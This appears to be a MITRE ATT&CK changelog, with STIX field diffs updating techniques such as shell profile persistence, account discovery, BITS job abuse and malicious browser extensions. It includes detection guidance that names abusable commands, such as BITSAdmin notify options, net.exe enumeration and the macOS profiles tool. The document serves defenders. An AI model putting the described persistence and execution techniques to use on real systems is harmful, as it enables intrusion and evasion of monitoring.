| external_references[1]['description'] | Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018. | Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020. |
| external_references[1]['url'] | https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/ | https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/ |
| x_mitre_data_sources[0] | Process use of network | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[2] | Process monitoring | File: File Creation |
| x_mitre_data_sources[3] | File monitoring | File: File Modification |
| x_mitre_detection | While users may customize their ~/.bashrc and ~/.bash_profile files , there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process. | While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.
Monitor for changes to /etc/profile and /etc/profile.d, these files should only be modified by system administrators. MacOS users can leverage Endpoint Security Framework file events monitoring these specific files.(Citation: ESF_filemonitor)
For most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the /etc/shells file.
|
| x_mitre_version | 1.0 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'bencane blog bashrc', 'description': 'Benjamin Cane. (2013, September 16). Understanding a little more about /etc/profile and /etc/bashrc. Retrieved February 25, 2021.', 'url': 'https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/'} | |
| external_references | {'source_name': 'anomali-rocke-tactics', 'description': 'Anomali Threat Research. (2019, October 15). Illicit Cryptomining Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved December 17, 2020.', 'url': 'https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect'} | |
| external_references | {'source_name': 'Linux manual bash invocation', 'description': 'ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021.', 'url': 'https://wiki.archlinux.org/index.php/Bash#Invocation'} | |
| external_references | {'source_name': 'Tsunami', 'description': 'Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved December 17, 2020.', 'url': 'https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/'} | |
| external_references | {'source_name': 'anomali-linux-rabbit', 'description': 'Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved December 17, 2020.', 'url': 'https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat'} | |
| external_references | {'source_name': 'Magento', 'description': 'Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection Vector. Retrieved December 17, 2020.', 'url': 'https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html'} | |
| external_references | {'source_name': 'ScriptingOSX zsh', 'description': 'Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration Files. Retrieved February 25, 2021.', 'url': 'https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/'} | |
| external_references | {'source_name': 'PersistentJXA_leopitt', 'description': "Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell for macOS. Retrieved January 11, 2021.", 'url': 'https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5'} | |
| external_references | {'source_name': 'code_persistence_zsh', 'description': 'Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js. Retrieved January 11, 2021.', 'url': 'https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js'} | |
| external_references | {'source_name': 'ESF_filemonitor', 'description': "Patrick Wardle. (2019, September 17). Writing a File Monitor with Apple's Endpoint Security Framework. Retrieved December 17, 2020.", 'url': 'https://objective-see.com/blog/blog_0x48.html'} |
Current version: 2.3
Version changed from: 2.2 → 2.3
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 15:10:18.260000+00:00 | 2021-04-14 12:26:11.595000+00:00 |
| x_mitre_data_sources[0] | Azure activity logs | User Account: User Account Metadata |
| x_mitre_data_sources[1] | Office 365 account logs | Command: Command Execution |
| x_mitre_data_sources[2] | API monitoring | Process: Process Creation |
| x_mitre_data_sources[3] | Process monitoring | File: File Access |
| x_mitre_detection | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). | System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
Monitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL) |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | Office 365 | SaaS |
| x_mitre_platforms[4] | Azure AD | IaaS |
| x_mitre_platforms[5] | AWS | Linux |
| x_mitre_platforms[6] | GCP | macOS |
| x_mitre_platforms[7] | Azure | Google Workspace |
| x_mitre_version | 2.2 | 2.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Elastic - Koadiac Detection with EQL', 'description': 'Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.', 'url': 'https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql'} | |
| x_mitre_contributors | Daniel Stepanic, Elastic |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters | |
| x_mitre_platforms | SaaS |
Current version: 2.2
Version changed from: 2.1 → 2.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-05 16:43:29.473000+00:00 | 2021-04-20 16:21:28.502000+00:00 |
| x_mitre_data_sources[0] | Authentication logs | File: File Modification |
| x_mitre_data_sources[1] | Windows event logs | Command: Command Execution |
| x_mitre_platforms[3] | Azure | IaaS |
| x_mitre_version | 2.1 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process: Process Creation | |
| x_mitre_data_sources | Group: Group Modification | |
| x_mitre_data_sources | User Account: User Account Modification | |
| x_mitre_data_sources | Active Directory: Active Directory Object Modification | |
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Google Workspace |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | AWS |
Current version: 2.2
Version changed from: 2.1 → 2.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-12-18 14:57:07.625000+00:00 | 2021-03-08 10:33:01.582000+00:00 |
| x_mitre_data_sources[0] | Stackdriver logs | User Account: User Account Modification |
| x_mitre_data_sources[1] | GCP audit logs | Active Directory: Active Directory Object Modification |
| x_mitre_platforms[0] | Azure AD | IaaS |
| x_mitre_platforms[1] | Azure | Azure AD |
| x_mitre_version | 2.1 | 2.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_data_sources | Azure activity logs | |
| x_mitre_platforms | AWS | |
| x_mitre_platforms | GCP |
Current version: 1.2
Version changed from: 1.1 → 1.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:40:02.024000+00:00 | 2021-04-14 18:09:45.539000+00:00 |
| x_mitre_data_sources[0] | Office 365 audit logs | Web Credential: Web Credential Usage |
| x_mitre_data_sources[1] | OAuth audit logs | Application Log: Application Log Content |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Google Workspace |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 02:01:10.832000+00:00 | 2021-03-29 16:08:52.118000+00:00 |
| x_mitre_data_sources[0] | Network device logs | Sensor Health: Host Status |
| x_mitre_data_sources[1] | Network device logs | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Network intrusion detection system | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[3] | Web application firewall logs | Network Traffic: Network Traffic Flow |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | Office 365 | macOS |
| x_mitre_platforms[7] | Azure AD | Google Workspace |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Web logs | |
| x_mitre_data_sources | SSL/TLS inspection | |
| x_mitre_platforms | SaaS |
Current version: 1.1
Version changed from: 1.0 → 1.1
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 02:07:27.508000+00:00 | 2021-03-29 16:09:41.559000+00:00 |
| x_mitre_data_sources[0] | Network device logs | Sensor Health: Host Status |
| x_mitre_data_sources[1] | Network intrusion detection system | Application Log: Application Log Content |
| x_mitre_data_sources[2] | Web application firewall logs | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[3] | Web logs | Network Traffic: Network Traffic Flow |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | Office 365 | macOS |
| x_mitre_platforms[7] | Azure AD | Google Workspace |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | SSL/TLS inspection | |
| x_mitre_platforms | SaaS |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse BITS jobs to persistently execute or c | t | 1 | Adversaries may abuse BITS jobs to persistently execute or c |
| > | lean up after malicious payloads. Windows Background Intelli | > | lean up after malicious payloads. Windows Background Intelli | ||
| > | gent Transfer Service (BITS) is a low-bandwidth, asynchronou | > | gent Transfer Service (BITS) is a low-bandwidth, asynchronou | ||
| > | s file transfer mechanism exposed through [Component Object | > | s file transfer mechanism exposed through [Component Object | ||
| > | Model](https://attack.mitre.org/techniques/T1559/001) (COM). | > | Model](https://attack.mitre.org/techniques/T1559/001) (COM). | ||
| > | (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS i | > | (Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is | ||
| > | s commonly used by updaters, messengers, and other applicati | > | commonly used by updaters, messengers, and other application | ||
| > | ons preferred to operate in the background (using available | > | s preferred to operate in the background (using available id | ||
| > | idle bandwidth) without interrupting other networked applica | > | le bandwidth) without interrupting other networked applicati | ||
| > | tions. File transfer tasks are implemented as BITS jobs, whi | > | ons. File transfer tasks are implemented as BITS jobs, which | ||
| > | ch contain a queue of one or more file operations. The inte | > | contain a queue of one or more file operations. The interf | ||
| > | rface to create and manage BITS jobs is accessible through [ | > | ace to create and manage BITS jobs is accessible through [Po | ||
| > | PowerShell](https://attack.mitre.org/techniques/T1059/001) | > | werShell](https://attack.mitre.org/techniques/T1059/001) and | ||
| > | (Citation: Microsoft BITS) and the [BITSAdmin](https://attac | > | the [BITSAdmin](https://attack.mitre.org/software/S0190) to | ||
| > | k.mitre.org/software/S0190) tool. (Citation: Microsoft BITSA | > | ol.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin) | ||
| > | dmin) Adversaries may abuse BITS to download, execute, and | > | Adversaries may abuse BITS to download, execute, and even | ||
| > | even clean up after running malicious code. BITS tasks are s | > | clean up after running malicious code. BITS tasks are self-c | ||
| > | elf-contained in the BITS job database, without new files or | > | ontained in the BITS job database, without new files or regi | ||
| > | registry modifications, and often permitted by host firewal | > | stry modifications, and often permitted by host firewalls.(C | ||
| > | ls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok | > | itation: CTU BITS Malware June 2016)(Citation: Mondok Window | ||
| > | Windows PiggyBack BITS May 2007) (Citation: Symantec BITS M | > | s PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) | ||
| > | ay 2007) BITS enabled execution may also enable persistence | > | BITS enabled execution may also enable persistence by creat | ||
| > | by creating long-standing jobs (the default maximum lifetime | > | ing long-standing jobs (the default maximum lifetime is 90 d | ||
| > | is 90 days and extendable) or invoking an arbitrary program | > | ays and extendable) or invoking an arbitrary program when a | ||
| > | when a job completes or errors (including after system rebo | > | job completes or errors (including after system reboots).(Ci | ||
| > | ots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU | > | tation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malwa | ||
| > | BITS Malware June 2016) BITS upload functionalities can als | > | re June 2016) BITS upload functionalities can also be used | ||
| > | o be used to perform [Exfiltration Over Alternative Protocol | > | to perform [Exfiltration Over Alternative Protocol](https:// | ||
| > | ](https://attack.mitre.org/techniques/T1048). (Citation: CTU | > | attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malwa | ||
| > | BITS Malware June 2016) | > | re June 2016) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 23:28:10.049000+00:00 | 2021-04-13 21:36:04.956000+00:00 |
| description | Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM). (Citation: Microsoft COM) (Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations. The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) (Citation: Microsoft BITS) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool. (Citation: Microsoft BITSAdmin) Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls. (Citation: CTU BITS Malware June 2016) (Citation: Mondok Windows PiggyBack BITS May 2007) (Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots). (Citation: PaloAlto UBoatRAT Nov 2017) (Citation: CTU BITS Malware June 2016) BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). (Citation: CTU BITS Malware June 2016) | Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads. Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM).(Citation: Microsoft COM)(Citation: Microsoft BITS) BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations. The interface to create and manage BITS jobs is accessible through [PowerShell](https://attack.mitre.org/techniques/T1059/001) and the [BITSAdmin](https://attack.mitre.org/software/S0190) tool.(Citation: Microsoft BITS)(Citation: Microsoft BITSAdmin) Adversaries may abuse BITS to download, execute, and even clean up after running malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.(Citation: CTU BITS Malware June 2016)(Citation: Mondok Windows PiggyBack BITS May 2007)(Citation: Symantec BITS May 2007) BITS enabled execution may also enable persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).(Citation: PaloAlto UBoatRAT Nov 2017)(Citation: CTU BITS Malware June 2016) BITS upload functionalities can also be used to perform [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).(Citation: CTU BITS Malware June 2016) |
| x_mitre_data_sources[0] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[2] | Packet capture | Service: Service Metadata |
| x_mitre_data_sources[3] | Windows event logs | Command: Command Execution |
| x_mitre_detection | BITS runs as a service and its status can be checked with the Sc query utility (sc query bits). (Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose). (Citation: Microsoft BITS)
Monitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options) (Citation: Microsoft BITS)Admin and the Windows Event log for BITS activity. Also consider investigating more detailed information about jobs by parsing the BITS job database. (Citation: CTU BITS Malware June 2016)
Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account). (Citation: Microsoft BITS) | BITS runs as a service and its status can be checked with the Sc query utility (sc query bits).(Citation: Microsoft Issues with BITS July 2011) Active BITS tasks can be enumerated using the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (bitsadmin /list /allusers /verbose).(Citation: Microsoft BITS)
Monitor usage of the [BITSAdmin](https://attack.mitre.org/software/S0190) tool (especially the ‘Transfer’, 'Create', 'AddFile', 'SetNotifyFlags', 'SetNotifyCmdLine', 'SetMinRetryDelay', 'SetCustomHeaders', and 'Resume' command options)(Citation: Microsoft BITS) Admin logs, PowerShell logs, and the Windows Event log for BITS activity.(Citation: Elastic - Hunting for Persistence Part 1) Also consider investigating more detailed information about jobs by parsing the BITS job database.(Citation: CTU BITS Malware June 2016)
Monitor and analyze network activity generated by BITS. BITS jobs use HTTP(S) and SMB for remote connections and are tethered to the creating user and will only function when that user is logged on (this rule applies even if a user attaches the job to a service account).(Citation: Microsoft BITS) |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Elastic - Hunting for Persistence Part 1', 'description': 'French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.', 'url': 'https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1'} | |
| x_mitre_contributors | Brent Murphy, Elastic | |
| x_mitre_contributors | David French, Elastic |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may abuse Internet browser extensions to establi | t | 1 | Adversaries may abuse Internet browser extensions to establi |
| > | sh persistence access to victim systems. Browser extensions | > | sh persistent access to victim systems. Browser extensions o | ||
| > | or plugins are small programs that can add functionality and | > | r plugins are small programs that can add functionality and | ||
| > | customize aspects of Internet browsers. They can be install | > | customize aspects of Internet browsers. They can be installe | ||
| > | ed directly or through a browser's app store and generally h | > | d directly or through a browser's app store and generally ha | ||
| > | ave access and permissions to everything that the browser ca | > | ve access and permissions to everything that the browser can | ||
| > | n access. (Citation: Wikipedia Browser Extension) (Citation: | > | access.(Citation: Wikipedia Browser Extension)(Citation: Ch | ||
| > | Chrome Extensions Definition) Malicious extensions can be | > | rome Extensions Definition) Malicious extensions can be ins | ||
| > | installed into a browser through malicious app store downloa | > | talled into a browser through malicious app store downloads | ||
| > | ds masquerading as legitimate extensions, through social eng | > | masquerading as legitimate extensions, through social engine | ||
| > | ineering, or by an adversary that has already compromised a | > | ering, or by an adversary that has already compromised a sys | ||
| > | system. Security can be limited on browser app stores so it | > | tem. Security can be limited on browser app stores so it may | ||
| > | may not be difficult for malicious extensions to defeat auto | > | not be difficult for malicious extensions to defeat automat | ||
| > | mated scanners. (Citation: Malicious Chrome Extension Number | > | ed scanners.(Citation: Malicious Chrome Extension Numbers) D | ||
| > | s) Once the extension is installed, it can browse to website | > | epending on the browser, adversaries may also manipulate an | ||
| > | s in the background, (Citation: Chrome Extension Crypto Mine | > | extension's update url to install updates from an adversary | ||
| > | r) (Citation: ICEBRG Chrome Extensions) steal all informatio | > | controlled server or manipulate the mobile configuration fil | ||
| > | n that a user enters into a browser (including credentials) | > | e to silently install additional extensions. Previous to ma | ||
| > | (Citation: Banker Google Chrome Extension Steals Creds) (Cit | > | cOS 11, adversaries could silently install browser extension | ||
| > | ation: Catch All Chrome Extension) and be used as an install | > | s via the command line using the <code>profiles</code> tool | ||
| > | er for a RAT for persistence. There have also been instance | > | to install malicious <code>.mobileconfig</code> files. In ma | ||
| > | s of botnets using a persistent backdoor through malicious C | > | cOS 11+, the use of the <code>profiles</code> tool can no lo | ||
| > | hrome extensions. (Citation: Stantinko Botnet) There have al | > | nger install configuration profiles, however <code>.mobileco | ||
| > | so been similar examples of extensions being used for comman | > | nfig</code> files can be planted and installed with user int | ||
| > | d & control (Citation: Chrome Extension C2 Malware). | > | eraction.(Citation: xorrior chrome extensions macOS) Once t | ||
| > | he extension is installed, it can browse to websites in the | ||||
| > | background,(Citation: Chrome Extension Crypto Miner)(Citatio | ||||
| > | n: ICEBRG Chrome Extensions) steal all information that a us | ||||
| > | er enters into a browser (including credentials)(Citation: B | ||||
| > | anker Google Chrome Extension Steals Creds)(Citation: Catch | ||||
| > | All Chrome Extension) and be used as an installer for a RAT | ||||
| > | for persistence. There have also been instances of botnets | ||||
| > | using a persistent backdoor through malicious Chrome extensi | ||||
| > | ons.(Citation: Stantinko Botnet) There have also been simila | ||||
| > | r examples of extensions being used for command & control.(C | ||||
| > | itation: Chrome Extension C2 Malware) | ||||
New Mitigations:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-25 23:36:30.565000+00:00 | 2021-04-27 19:56:54.161000+00:00 |
| description | Adversaries may abuse Internet browser extensions to establish persistence access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access. (Citation: Wikipedia Browser Extension) (Citation: Chrome Extensions Definition) Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners. (Citation: Malicious Chrome Extension Numbers) Once the extension is installed, it can browse to websites in the background, (Citation: Chrome Extension Crypto Miner) (Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser (including credentials) (Citation: Banker Google Chrome Extension Steals Creds) (Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence. There have also been instances of botnets using a persistent backdoor through malicious Chrome extensions. (Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control (Citation: Chrome Extension C2 Malware). | Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)
Malicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions.
Previous to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles, however .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)
Once the extension is installed, it can browse to websites in the background,(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser (including credentials)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence.
There have also been instances of botnets using a persistent backdoor through malicious Chrome extensions.(Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control.(Citation: Chrome Extension C2 Malware) |
| external_references[4]['source_name'] | Chrome Extension Crypto Miner | xorrior chrome extensions macOS |
| external_references[4]['description'] | Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017. | Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved April 27, 2021. |
| external_references[4]['url'] | https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/ | https://www.xorrior.com/No-Place-Like-Chrome/ |
| external_references[5]['source_name'] | ICEBRG Chrome Extensions | Chrome Extension Crypto Miner |
| external_references[5]['description'] | De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018. | Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017. |
| external_references[5]['url'] | https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses | https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/ |
| external_references[6]['source_name'] | Banker Google Chrome Extension Steals Creds | ICEBRG Chrome Extensions |
| external_references[6]['description'] | Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017. | De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018. |
| external_references[6]['url'] | https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/ | https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses |
| external_references[7]['source_name'] | Catch All Chrome Extension | Banker Google Chrome Extension Steals Creds |
| external_references[7]['description'] | Marinho, R. (n.d.). "Catch-All" Google Chrome Malicious Extension Steals All Posted Data. Retrieved November 16, 2017. | Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017. |
| external_references[7]['url'] | https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/) | https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/ |
| external_references[8]['source_name'] | Stantinko Botnet | Catch All Chrome Extension |
| external_references[8]['description'] | Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware campaign operating covertly since 2012. Retrieved November 16, 2017. | Marinho, R. (n.d.). "Catch-All" Google Chrome Malicious Extension Steals All Posted Data. Retrieved November 16, 2017. |
| external_references[8]['url'] | https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/ | https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/) |
| external_references[9]['source_name'] | Chrome Extension C2 Malware | Stantinko Botnet |
| external_references[9]['description'] | Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved November 22, 2017. | Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware campaign operating covertly since 2012. Retrieved November 16, 2017. |
| external_references[9]['url'] | https://kjaer.io/extension-malware/ | https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/ |
| x_mitre_data_sources[0] | Windows Registry | Command: Command Execution |
| x_mitre_data_sources[1] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[2] | Process use of network | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[3] | Process monitoring | Windows Registry: Windows Registry Key Creation |
| x_mitre_data_sources[4] | Browser extensions | File: File Creation |
| x_mitre_detection | Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates. Monitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation. | Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.
Monitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.
On macOS, monitor the command line for usage of the profiles tool, such as profiles install -type=configuration. Additionally, all installed extensions maintain a plist file in the /Library/Managed Preferences/username/ directory. Ensure all listed files are in alignment with approved extensions.(Citation: xorrior chrome extensions macOS) |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
